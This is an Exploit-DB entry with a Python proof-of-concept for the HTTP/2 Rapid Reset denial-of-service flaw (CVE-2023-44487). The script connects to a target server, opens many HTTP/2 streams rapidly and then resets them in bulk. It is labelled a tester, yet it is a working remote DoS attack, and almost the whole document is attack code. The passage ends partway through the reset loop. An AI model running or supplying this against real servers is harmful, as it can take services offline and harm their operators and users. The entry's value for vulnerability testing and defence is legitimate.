Exploit-DB #52426
Description: HTTP/2 2.0 - Denial Of Service (DOS)
Type: remote
Platform: multiple
Date: 2025-09-16
Author: Madhusudhan Rajappa

Exploit:
#!/usr/bin/env python3
"""
# Exploit Title: HTTP/2 2.0 - Denial Of Service (DOS)
# Google Dork: -NA-
# Date: 29th August 2025
# Exploit Author: Madhusudhan Rajappa
# Vendor Homepage: -NA-
# Software Link: -NA-
# Version: HTTP/2.0
# Tested on: -NA-
# CVE : CVE-2023-44487
"""

import asyncio
import ssl
import time
import argparse
import logging
from typing import Optional, Tuple
import statistics

try:
    import h2.connection
    import h2.events
    import h2.exceptions
    import h2.config
except ImportError:
    print("Error: h2 library not installed. Install with: pip install h2")
    exit(1)

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

class HTTP2RapidResetTester:
    """Class to test for CVE-2023-44487 HTTP/2 Rapid Reset vulnerability."""
    
    def __init__(self, host: str, port: int = 443, use_ssl: bool = True):
        self.host = host
        self.port = port
        self.use_ssl = use_ssl
        self.connection = None
        self.reader = None
        self.writer = None
        self.response_times = []
        self.errors = []
        self.connection_closed = False
        
    async def connect(self) -> bool:
        """Establish HTTP/2 connection to the target server."""
        try:
            logger.info(f"Connecting to {self.host}:{self.port}")
            
            if self.use_ssl:
                ssl_context = ssl.create_default_context()
                ssl_context.set_alpn_protocols(['h2'])
                self.reader, self.writer = await asyncio.open_connection(
                    self.host, self.port, ssl=ssl_context
                )
            else:
                self.reader, self.writer = await asyncio.open_connection(self.host, self.port)
            
            # Initialize HTTP/2 connection
            config = h2.config.H2Configuration(client_side=True)
            self.connection = h2.connection.H2Connection(config=config)
            self.connection.initiate_connection()
            
            # Send connection preface
            await self._send_data(self.connection.data_to_send())
            
            logger.info("HTTP/2 connection established successfully")
            self.connection_closed = False
            return True
            
        except Exception as e:
            logger.error(f"Failed to establish connection: {e}")
            return False
    
    async def _send_data(self, data: bytes):
        """Send data to the server."""
        if data and self.writer and not self.connection_closed:
            try:
                self.writer.write(data)
                await self.writer.drain()
            except (ConnectionResetError, BrokenPipeError, OSError) as e:
                logger.debug(f"Connection error while sending data: {e}")
                self.connection_closed = True
    
    async def _receive_data(self) -> bytes:
        """Receive data from the server."""
        try:
            if self.connection_closed or not self.reader:
                return b''
            data = await asyncio.wait_for(self.reader.read(65535), timeout=5.0)
            if not data:
                self.connection_closed = True
            return data
        except asyncio.TimeoutError:
            return b''
        except (ConnectionResetError, BrokenPipeError, OSError) as e:
            logger.debug(f"Connection error while receiving data: {e}")
            self.connection_closed = True
            return b''
    
    async def rapid_reset_test(self, num_streams: int = 100, delay: float = 0.001) -> dict:
        """
        Perform the rapid reset attack test.
        
        Args:
            num_streams: Number of streams to create and reset
            delay: Delay between stream creations (seconds)
        
        Returns:
            Dictionary with test results
        """
        logger.info(f"Starting rapid reset test with {num_streams} streams")
        
        start_time = time.time()
        created_streams = []
        reset_streams = []
        
        try:
            # Phase 1: Rapidly create streams
            for i in range(num_streams):
                if self.connection_closed:
                    logger.warning("Connection closed during stream creation")
                    break
                    
                stream_id = (i * 2) + 1  # Odd numbers for client-initiated streams
                
                # Create HTTP/2 headers
                headers = [
                    (':method', 'GET'),
                    (':path', '/'),
                    (':scheme', 'https' if self.use_ssl else 'http'),
                    (':authority', self.host),
                    ('user-agent', 'CVE-2023-44487-Tester/1.0'),
                ]
                
                try:
                    # Send headers to create stream
                    self.connection.send_headers(stream_id, headers)
                    await self._send_data(self.connection.data_to_send())
                    created_streams.append(stream_id)
                    
                    # Small delay to avoid overwhelming the connection
                    if delay > 0:
                        await asyncio.sleep(delay)
                        
                except Exception as e:
                    self.errors.append(f"Error creating stream {stream_id}: {e}")
                    if "connection" in str(e).lower():
                        break
            
            logger.info(f"Created {len(created_streams)} streams")
            
            # Phase 2: Rapidly reset all streams
            reset_start = time.time()
            for stream_id in created_streams:
                if self.connection_closed:
                    logger.warning("Connection closed